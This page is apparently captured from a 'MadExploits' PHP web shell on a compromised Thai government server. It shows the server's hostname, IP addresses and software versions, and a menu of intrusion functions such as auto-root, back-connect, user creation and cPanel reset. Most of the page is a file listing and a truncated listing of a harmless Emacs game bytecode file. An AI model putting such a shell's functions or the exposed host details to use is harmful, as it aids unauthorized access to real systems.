Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
play /
[ HOME SHELL ]
Name
Size
Permission
Action
5x5.elc
13.7
KB
-rw-r--r--
animate.elc
3.86
KB
-rw-r--r--
blackbox.elc
11.03
KB
-rw-r--r--
bruce.el
6.03
KB
-rw-r--r--
bubbles.elc
45.33
KB
-rw-r--r--
cookie1.elc
3.47
KB
-rw-r--r--
decipher.elc
23.06
KB
-rw-r--r--
dissociate.elc
2.08
KB
-rw-r--r--
doctor.elc
45.54
KB
-rw-r--r--
dunnet.elc
85.74
KB
-rw-r--r--
fortune.elc
8.4
KB
-rw-r--r--
gamegrid.elc
14.69
KB
-rw-r--r--
gametree.elc
18.55
KB
-rw-r--r--
gomoku.elc
27.57
KB
-rw-r--r--
handwrite.elc
59.95
KB
-rw-r--r--
hanoi.elc
9.95
KB
-rw-r--r--
landmark.elc
37.69
KB
-rw-r--r--
life.elc
7.21
KB
-rw-r--r--
meese.elc
1.1
KB
-rw-r--r--
morse.elc
2.4
KB
-rw-r--r--
mpuz.elc
13.52
KB
-rw-r--r--
pong.elc
10.99
KB
-rw-r--r--
snake.elc
10.59
KB
-rw-r--r--
solitaire.elc
12.81
KB
-rw-r--r--
spook.elc
1.59
KB
-rw-r--r--
studly.elc
1.43
KB
-rw-r--r--
yow.elc
3.25
KB
-rw-r--r--
zone.elc
15.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : landmark.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:58 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/play/landmark.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`landmark.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'lm nil "Neural-network robot that learns landmarks." :prefix "lm-" :group 'games) #@36 Number of columns on the Lm board. (defvar lm-board-width nil (#$ . 717)) #@34 Number of lines on the Lm board. (defvar lm-board-height nil (#$ . 797)) #@52 Vector recording the actual state of the Lm board. (defvar lm-board nil (#$ . 876)) #@28 Length of lm-board vector. (defvar lm-vector-length nil (#$ . 966)) #@47 After how many moves will Emacs offer a draw? (defvar lm-draw-limit nil (#$ . 1040)) #@54 This is the x coordinate of the center of the board. (defvar lm-cx 0 (#$ . 1131)) #@54 This is the y coordinate of the center of the board. (defvar lm-cy 0 (#$ . 1219)) #@47 This is the x dimension of the playing board. (defvar lm-m 0 (#$ . 1307)) #@47 This is the y dimension of the playing board. (defvar lm-n 0 (#$ . 1387)) #@69 Translate X, Y cartesian coords into the corresponding board index. (defalias 'lm-xy-to-index #[(x y) "\303 _\n#\207" [y lm-board-width x +] 4 (#$ . 1467)]) #@46 Return corresponding x-coord of board INDEX. (defalias 'lm-index-to-x #[(index) " T\246\207" [index lm-board-width] 2 (#$ . 1632)]) #@46 Return corresponding y-coord of board INDEX. (defalias 'lm-index-to-y #[(index) " T\245\207" [index lm-board-width] 2 (#$ . 1771)]) #@61 Create the lm-board vector and fill it with initial values. (defalias 'lm-init-board #[nil "\305\306\"\306S\fX\203# \307I\210 \n\307I\210T\nS\202\n *\306\211W\205; \307I\210\310\f\311#\211\202' )\207" [lm-vector-length lm-board ii i lm-board-width make-vector 0 -1 + 1] 5 (#$ . 1910)]) #@54 *Horizontal spacing between squares on the Lm board. (defconst lm-square-width 2 (#$ . -2219)) #@52 *Vertical spacing between squares on the Lm board. (defconst lm-square-height 1 (#$ . -2320)) #@69 *Number of columns between the Lm board and the side of the window. (defconst lm-x-offset 3 (#$ . -2420)) #@66 *Number of lines between the Lm board and the top of the window. (defconst lm-y-offset 1 (#$ . -2532)) #@54 If non-nil, its value is called on entry to Lm mode. (custom-declare-variable 'lm-mode-hook 'nil '(#$ . 2641) :type 'hook :group 'lm) #@33 Local keymap to use in Lm mode. (defvar lm-mode-map nil (#$ . 2781)) (byte-code "\204\315 \301 \302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\322#\210\302\323\304#\210\302\324\306#\210\302\325\310#\210\302\326\312#\210\302\327\314#\210\302\330\316#\210\302\331\320#\210\302\332\322#\210\302\333\320#\210\302\334\322#\210\302\335\336#\210\302\337\336#\210\302\340\341#\210\302\342\341#\210\302\343\344#\210\302\345\344#\210\302\346\344#\210\302\347\350#\210\302\351\350#\210\302\352\322#\210\302\353\320#\210\302\354\355#\210\302\356\357#\210\302\360\361#\210\302\362\361#\210\301\207" [lm-mode-map make-sparse-keymap define-key "y" lm-move-nw "u" lm-move-ne "b" lm-move-sw "n" lm-move-se "h" backward-char "l" forward-char "j" lm-move-down "k" lm-move-up [kp-7] [kp-9] [kp-1] [kp-3] [kp-4] [kp-6] [kp-2] [kp-8] "" "" "X" lm-human-plays "x" " " lm-start-robot [down-mouse-1] [drag-mouse-1] lm-click [mouse-1] [down-mouse-2] [mouse-2] lm-mouse-play [drag-mouse-2] [remap previous-line] [remap next-line] [remap beginning-of-line] lm-beginning-of-line [remap end-of-line] lm-end-of-line [remap undo] lm-human-takes-back [remap advertised-undo]] 4) #@59 *For making font-lock use the winner's face for the line. (defvar lm-emacs-won nil (#$ . -4050)) (byte-code "\300\301\302\303\304\305\306\307&\210\300\310\311\312\304\305\306\307&\207" [custom-declare-face lm-font-lock-face-O ((((class color)) :foreground "red") (t :weight bold)) "*Face to use for Emacs' O." :version "22.1" :group lm lm-font-lock-face-X ((((class color)) :foreground "green") (t :weight bold)) "*Face to use for your X."] 8) #@26 *Font lock rules for Lm. (defvar lm-font-lock-keywords '(("O" quote lm-font-lock-face-O) ("X" quote lm-font-lock-face-X) ("[-|/\\]" 0 (if lm-emacs-won 'lm-font-lock-face-O 'lm-font-lock-face-X))) (#$ . -4502)) (byte-code "\300\301\302\300\301\303\304##\210\300\301\305\306#\210\300\301\307\310#\207" [put lm-mode front-sticky rear-nonsticky (intangible) intangible 1 mode-class special] 7) #@491 Major mode for playing Lm against Emacs. You and Emacs play in turn by marking a free square. You mark it with X and Emacs marks it with O. The winner is the first to get five contiguous marks horizontally, vertically or in diagonal. You play by moving the cursor over the square you choose and hitting \[lm-human-plays]. Other useful commands: \{lm-mode-map} Entry to this mode calls the value of `lm-mode-hook' if that value is non-nil. One interesting value is `turn-on-font-lock'. (defalias 'lm-mode #[nil "\304 \210\305\306\307 \210\310\n!\210\311\303!\210\312\313\314!\210\315\316!\207" [major-mode mode-name lm-mode-map font-lock-defaults kill-all-local-variables lm-mode "Lm" lm-display-statistics use-local-map make-local-variable (lm-font-lock-keywords t) toggle-read-only t run-mode-hooks lm-mode-hook] 2 (#$ . 4899) nil]) #@56 Vector recording the actual score of the free squares. (defvar lm-score-table nil (#$ . 5747)) #@27 Score of an empty qtuple. (defconst nil-score 7 (#$ . 5848)) #@37 Score of a qtuple containing one X. (defconst Xscore 15 (#$ . 5915)) #@39 Score of a qtuple containing two X's. (defconst XXscore 400 (#$ . 5990)) #@41 Score of a qtuple containing three X's. (defconst XXXscore 1800 (#$ . 6069)) #@40 Score of a qtuple containing four X's. (defconst XXXXscore 100000 (#$ . 6152)) #@37 Score of a qtuple containing one O. (defconst Oscore 35 (#$ . 6237)) #@39 Score of a qtuple containing two O's. (defconst OOscore 800 (#$ . 6312)) #@41 Score of a qtuple containing three O's. (defconst OOOscore 15000 (#$ . 6391)) #@40 Score of a qtuple containing four O's. (defconst OOOOscore 800000 (#$ . 6475)) #@52 Vector associating qtuple contents to their score. (defconst lm-score-trans-table (byte-code "\306 \n\f\307 \307\211\211\211\211\307\211\211\211\211 \307\211\211\211\211\n\307\211\211\211\211\211&\207" [nil-score Xscore XXscore XXXscore XXXXscore Oscore vector 0 OOscore OOOscore OOOOscore] 32) (#$ . 6560)) #@56 Threshold score beyond which an Emacs move is winning. (defconst lm-winning-threshold OOOOscore (#$ . 6881)) #@55 Threshold score beyond which a human move is winning. (defconst lm-loosing-threshold XXXXscore (#$ . 6996)) #@66 Compute index of free square with highest score, or nil if none. (defalias 'lm-strongest-square #[nil "\306\211\307\310\211\"\307 \"\311\211 \fX\203x HW\204q H\211V\203M \312 H!\203D \310 \n\202q \313I\210\202q \312 H!\204_ \313I\210\202q \312\314 T\211 !!\203q \n T\211\202 .\207" [lm-board-width lm-board-height score best-square end square 0 lm-xy-to-index 1 nil zerop -1 random count score-max lm-score-table lm-board] 7 (#$ . 7110)]) #@49 Recorded initial value of previous score table. (defvar lm-saved-score-table nil (#$ . 7600)) #@41 Recorded value of previous board width. (defvar lm-saved-board-width nil (#$ . 7700)) #@42 Recorded value of previous board height. (defvar lm-saved-board-height nil (#$ . 7792)) #@64 Create the score table vector and fill it with initial values. (defalias 'lm-init-score-table #[nil "\203 \nU\203 \fU\203 \306!\211\207\307\310_\"\311\211\211\211\211\211 T\312\245T\312\245\313^\313^\314\211X\203v \314\211X\203m \315\"\210T\211\202W T\211\202M X\203\241 \314\211X\203\230 \315\"\210T\211\202\202 T\211\202x .\306 ! \211\207" [lm-saved-score-table lm-board-width lm-saved-board-width lm-board-height lm-saved-board-height lm-score-table copy-sequence make-vector 20 nil 2 4 1 lm-init-square-score lm-vector-length nil-score maxj2 maxi2 maxj maxi j i] 7 (#$ . 7886)]) #@53 Return the number of qtuples containing square I,J. (defalias 'lm-nb-qtuples #[(i j) "\306S^\306 Z^\306\nS^\306\nZ^\f\307\310\f\\\311]\312^ \f\\\311]\312^\f ^\f^\\\311]\312^ ^\f\f^\\\311]\312^%,\207" [i lm-board-width j lm-board-height down up 4 + -12 3 8 right left] 8 (#$ . 8558)]) #@60 Give initial score to square I,J and to its mirror images. (defalias 'lm-init-square-score #[(i j) " ZT\nZT\306 \"\f\307H_ \n\310 \" I\210\310\n\" I\210\310 \" I\210\310\n \" I+\207" [lm-board-width i lm-board-height j lm-score-trans-table sc lm-nb-qtuples 0 lm-xy-to-index jj ii lm-score-table] 5 (#$ . 8865)]) #@60 Update score table after SQUARE received a DVAL increment. (defalias 'lm-update-score-table #[(square dval) "\306!\307!\310\311 Z]\310\311\nZ]\312\313 \314#^\312\313\n\314#^\315\311\312&\210\315\f\312\311&\210\315\f]^\311\211&\210\315\311\nZ\310] Z]\312 \316Z^\313\n\314#^\317\311&.\207" [square x y imin jmin lm-board-width lm-index-to-x lm-index-to-y -4 1 0 - 4 lm-update-score-in-direction 5 -1 imax lm-board-height jmax dval] 7 (#$ . 9204)]) #@203 Update scores for all squares in the qtuples in range. That is, those between the LEFTth square and the RIGHTth after SQUARE, along the DX, DY direction, considering that DVAL has been added on SQUARE. (defalias 'lm-update-score-in-direction #[(left right square dx dy dval) " V\206\273 \306\211\211\211\211\211\f \307\" _\\\f _\\\f \310_\\\f\311\fX\203U H\\ \\\211\202= \f X\205\271 HZHZ\312\n!\204\233 \f\211\fX\203\233 \312H!\203\220 H\n\\I\210 \\\211\202t \f \\\313\fH[\fH#\f \\\211\f\202W .\207" [left right delta count square2 square1 nil lm-xy-to-index 4 0 zerop + square0 depl dx dy square lm-board lm-score-trans-table dval lm-score-table] 7 (#$ . 9700)]) #@35 Non-nil if a game is in progress. (defvar lm-game-in-progress nil (#$ . 10457)) #@66 A record of all moves that have been played during current game. (defvar lm-game-history nil (#$ . 10543)) #@49 Number of moves already played in current game. (defvar lm-number-of-moves nil (#$ . 10656)) #@58 Number of moves already played by human in current game. (defvar lm-number-of-human-moves nil (#$ . 10755)) #@32 Non-nil if Emacs played first. (defvar lm-emacs-played-first nil (#$ . 10869)) #@52 Non-nil if Human took back a move during the game. (defvar lm-human-took-back nil (#$ . 10954)) #@49 Non-nil if Human refused Emacs offer of a draw. (defvar lm-human-refused-draw nil (#$ . 11056)) #@53 Non-nil if Emacs is in the middle of a computation. (defvar lm-emacs-is-computing nil (#$ . 11158)) #@43 Initialize a new game on an N by M board. (defalias 'lm-start-game #[(n m) "\306\211\n\f\f\307\\\nT_T\310\n\f\311#\312\245\313\211\314\211\313\211\313\315\n\f\"\210\316 \210\317 \210\313\211\207" [lm-emacs-is-computing lm-game-in-progress n lm-board-width m lm-board-height t 2 * 7 10 nil 0 lm-init-display lm-init-score-table lm-init-board lm-vector-length lm-draw-limit lm-emacs-won lm-game-history lm-number-of-moves lm-number-of-human-moves lm-emacs-played-first lm-human-took-back lm-human-refused-draw] 5 (#$ . 11264)]) #@47 Go to SQUARE, play VAL and update everything. (defalias 'lm-play-move #[(square val &optional dont-update-score) "\306 \307U\203 \nT\202 \310!\203 \306 HBBT\311 \"\210 I\210\204? \312 \"\210 \313I\210\314\211\207" [lm-emacs-is-computing val lm-number-of-human-moves lm-number-of-moves lm-emacs-played-first square t 1 zerop lm-plot-square lm-update-score-table -1 nil lm-score-table lm-game-history lm-board dont-update-score] 3 (#$ . 11819)]) #@44 Take back last move and update everything. (defalias 'lm-take-back #[nil "\306 @\211@\fH\211\307U\203 \fS\f A S \310\311\"\210\f\311I\210\312 [\"\210\nAI\210+\313\211\207" [lm-emacs-is-computing lm-game-history last-move square lm-board oldval t 1 lm-plot-square 0 lm-update-score-table nil lm-number-of-human-moves lm-number-of-moves lm-score-table] 4 (#$ . 12295)]) #@49 The number of times that landmark has been run. (defvar lm-number-of-trials 0 (#$ . 12687)) #@46 The total number of moves made in all games. (defvar lm-sum-of-moves 0 (#$ . 12785)) #@44 Number of games Emacs won in this session. (defvar lm-number-of-emacs-wins 0 (#$ . 12876)) #@42 Number of games you won in this session. (defvar lm-number-of-human-wins 0 (#$ . 12973)) #@48 Number of games already drawn in this session. (defvar lm-number-of-draws 0 (#$ . 13068)) #@41 Terminate the current game with RESULT. (defalias 'lm-terminate-game #[(result) "T \n\\\305=\203 \306\307!\210\310 \210\311\211\207" [lm-number-of-trials lm-sum-of-moves lm-number-of-moves result lm-game-in-progress crash-game message "Sorry, I have been interrupted and cannot resume that game..." lm-display-statistics nil] 2 (#$ . 13164)]) #@56 What to do when Emacs detects it has been interrupted. (defalias 'lm-crash-game #[nil "\301\302\303!\210\304\305!\210\306 \207" [lm-emacs-is-computing nil lm-terminate-game crash-game sit-for 4 lm-prompt-for-other-game] 2 (#$ . 13519)]) #@38 Compute Emacs next move and play it. (defalias 'lm-emacs-plays #[nil "\306 \210\203\n \307 \207 \204 \310 \207\311\312!\210\313\211\314 \211\204&